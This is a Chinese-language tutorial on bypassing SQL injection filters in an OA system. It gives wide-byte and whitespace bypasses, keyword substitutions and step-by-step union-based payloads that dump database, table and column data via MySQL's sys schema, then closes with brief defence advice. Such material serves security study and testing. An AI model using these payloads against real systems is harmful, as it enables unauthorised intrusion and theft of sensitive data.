SQL注入绕过实现OA系统注入
字数 1224 2025-08-09 19:14:07

SQL注入绕过实现OA系统注入技术详解

一、SQL注入绕过基础技术

1. 绕过单/双引号转义注入

技术原理

  • 使用宽字节绕过:在单/双引号前加入%df与转义符%25(/)组合成宽字节字符
  • 示例:id=1%df' order by 3#
  • 转义后SQL:select from test where id='1%df%25' order by 3#'

2. 空格绕过技术

  • 使用%0d替换空格
  • 示例:id=1'%0dorder%0dby%0d3#
  • 转义后SQL:select from test where id='1' %0dorder%0dby%0d3#

3. 等效函数替换

原函数/操作符 等效替换
and &&
or ||
union select union all select

二、关键函数说明

  1. ascii() - 返回字符串的ASCII值
  2. length() - 返回字符串长度
  3. substr(x,y,z) - 取x字符串的y到z位

三、数据库信息获取技术

1. 获取数据库名称

  • 直接使用database()函数
  • 通过错误信息获取:id=1' and (select count(*) from xxx)>0 and '1'='1
    • 当xxx表不存在时,错误信息会显示数据库名称

2. MySQL系统数据库

information_schema库

  • TABLES表:存储所有数据库和表名
  • COLUMNS表:存储所有表的列名

MySQL 5.6+的sys库

  • 包含schema_index_statistics等视图
  • 可替代information_schema的功能

四、绕过过滤函数实战

1. 常见过滤函数检查内容

  • 禁用函数:load_file, outfile, substr, ascii
  • 禁用操作符:union, select, and, or, xor
  • 禁用注释符:/, #, --, @, ```等

2. 过滤函数漏洞

if (strpos($sql, '/') === false && strpos($sql, '#') === false 
    && strpos($sql, '-- ') === false && strpos($sql, '@') === false 
    && strpos($sql, '`') === false) {
    $cleansql = preg_replace("/'(.+?)'/s", '', $sql);
} else {
    $cleansql = self::stripSafeChar($sql);
}

五、实战注入步骤

1. 爆库名

' and (select count(*) from sysobjects)>0 and '1'='1

2. 爆表名(使用union all select绕过)

' union all select 1,2,3,4,GROUP_CONCAT(table_name) 
from sys.schema_index_statistics 
where table_schema="db_oasystem" and '1'='1

3. 判断列数

' union all select 1,2,3,4,(select 1 from 
(select 1,2,3,4 union all select * from tb_danwei)a 
limit 1,1) and '1'='1

4. 获取表数据

' union all select 1,2,3,4,GROUP_CONCAT(z) from 
(select 1 as 'x',2 as 'y',3 as 'z' 
union all select * from tb_danwei)tpl where '1'='1

六、总结与防御建议

1. 注入技术要点

  • 利用sys库视图绕过information_schema过滤
  • 使用等效函数绕过关键字过滤
  • 多表联合查询获取未知列名数据

2. 防御建议

  • 严格过滤所有用户输入
  • 使用参数化查询
  • 限制数据库用户权限
  • 定期更新过滤规则
  • 对错误信息进行模糊处理

通过以上技术,可以在存在严格过滤的OA系统中实现SQL注入,获取数据库敏感信息。防御方应综合采用多种安全措施,而不仅依赖简单的关键字过滤。

SQL注入绕过实现OA系统注入技术详解 一、SQL注入绕过基础技术 1. 绕过单/双引号转义注入 技术原理 : 使用宽字节绕过:在单/双引号前加入 %df 与转义符 %25 (/)组合成宽字节字符 示例: id=1%df' order by 3# 转义后SQL: select from test where id='1%df%25' order by 3#' 2. 空格绕过技术 使用 %0d 替换空格 示例: id=1'%0dorder%0dby%0d3# 转义后SQL: select from test where id='1' %0dorder%0dby%0d3# 3. 等效函数替换 | 原函数/操作符 | 等效替换 | |---------------|---------| | and | && | | or | \|\| | | union select | union all select | 二、关键函数说明 ascii() - 返回字符串的ASCII值 length() - 返回字符串长度 substr(x,y,z) - 取x字符串的y到z位 三、数据库信息获取技术 1. 获取数据库名称 直接使用 database() 函数 通过错误信息获取: id=1' and (select count(*) from xxx)>0 and '1'='1 当xxx表不存在时,错误信息会显示数据库名称 2. MySQL系统数据库 information_ schema库 TABLES 表:存储所有数据库和表名 COLUMNS 表:存储所有表的列名 MySQL 5.6+的sys库 包含 schema_index_statistics 等视图 可替代information_ schema的功能 四、绕过过滤函数实战 1. 常见过滤函数检查内容 禁用函数: load_file , outfile , substr , ascii 等 禁用操作符: union , select , and , or , xor 等 禁用注释符: / , # , -- , @ , ``` 等 2. 过滤函数漏洞 五、实战注入步骤 1. 爆库名 2. 爆表名(使用union all select绕过) 3. 判断列数 4. 获取表数据 六、总结与防御建议 1. 注入技术要点 利用sys库视图绕过information_ schema过滤 使用等效函数绕过关键字过滤 多表联合查询获取未知列名数据 2. 防御建议 严格过滤所有用户输入 使用参数化查询 限制数据库用户权限 定期更新过滤规则 对错误信息进行模糊处理 通过以上技术,可以在存在严格过滤的OA系统中实现SQL注入,获取数据库敏感信息。防御方应综合采用多种安全措施,而不仅依赖简单的关键字过滤。